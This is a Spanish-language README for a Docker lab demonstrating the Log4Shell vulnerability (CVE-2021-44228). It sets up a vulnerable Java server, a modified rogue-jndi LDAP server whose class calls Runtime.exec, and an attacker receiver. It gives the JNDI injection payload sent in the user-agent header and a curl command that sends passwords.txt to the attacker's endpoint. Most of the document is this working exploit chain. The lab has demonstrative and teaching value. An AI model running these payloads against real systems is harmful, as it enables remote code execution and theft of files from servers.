
Una simple demostración de CVE-2021-44228 para transferir datos desde un servidor vulnerable a un servicio web controlado por un atacante. Todos los componentes implicados se ejecutan mediante Docker.
Este es un servidor Java estándar que actúa como víctima. Está ejecutando:
8u111Este servidor es VULNERABLE usando esta configuración.
Información adicional:
/logging (GET) registrará el user agent usando Log4J/foo/passwords.txt existe (el objetivo del atacante)Contenido de passwords.txt:
my secret
Este es un servidor Java estándar que actúa como recopilador de datos del atacante. Está ejecutando:
17Información adicional:
receiver (POST) registrará el cuerpo de la peticiónEste es un servidor LDAP impulsado por rogue-jndi.
Su clase ExportJava ha sido modificada para que los comandos pasados mediante la opción -c se ejecuten.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
Cuando el servidor vulnerable lo solicite, responderá con una clase que ejecutará el siguiente comando al ser instanciada:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
Esto enviará efectivamente el contenido de /foo/passwords.txt al endpoint preparado del receptor malicioso.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt del servidor../stop.sh